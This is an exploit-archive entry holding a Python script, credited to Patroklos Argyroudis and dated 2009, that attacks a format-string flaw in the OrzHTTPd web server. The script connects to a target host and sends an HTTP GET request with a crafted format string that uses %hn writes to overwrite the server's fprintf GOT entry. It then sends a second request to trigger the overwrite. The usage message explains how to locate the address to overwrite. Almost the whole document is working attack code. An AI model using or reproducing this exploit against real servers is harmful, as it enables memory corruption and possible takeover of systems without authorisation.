OrzHTTPd Format String Exploit

==============================
OrzHTTPd Format String Exploit
==============================


# Title: OrzHTTPd Format String Exploit
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Patroklos Argyroudis
# Published: 2009-12-03
# Verified: yes

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#!/usr/bin/env python
# orzex.py -- Patroklos Argyroudis, argp at domain census-labs.com
# http://code.google.com/p/orzhttpd/source/detail?r=141
 
import os
import sys
import socket
import struct
import time
import urllib
 
GET = "GET "
 
def main(argv):
    argc = len(argv)
 
    if argc != 4:
        print "usage: %s <host> <port> <address>" % (argv[0])
        print "[*] find address with objdump -R orzhttpd | grep fprintf"
        sys.exit(0)
 
    host = argv[1]
    port = int(argv[2])
    addr = int(argv[3], 16)
 
    print "[*] target: %s:%d:%s" % (host, port, argv[3])
 
    try:
        sd = urllib.urlopen("http://%s:%d" % (host, port))
        sd.close()
    except IOError, errmsg:
        print "[*] error: %s" % (errmsg)
        sys.exit(1)
     
    time.sleep(1)
 
    fmtstr = struct.pack('<LL', addr + 2, addr)
    fmtstr += "%.16650x%19$hn%.514x%20$hn"
 
    payload = GET
    payload += fmtstr
 
    print "[*] sending exploit format string to %s:%d" % (host, port)
 
    sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sd.connect((host, port))
    sd.send(payload)
    sd.close()
 
    print "[*] sending trigger to %s:%d" % (host, port)
 
    sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sd.connect((host, port))
    sd.send(GET)
    sd.close()
     
if __name__ == "__main__":
    main(sys.argv)
    sys.exit(0)



#  0day.today [2018-01-01]  #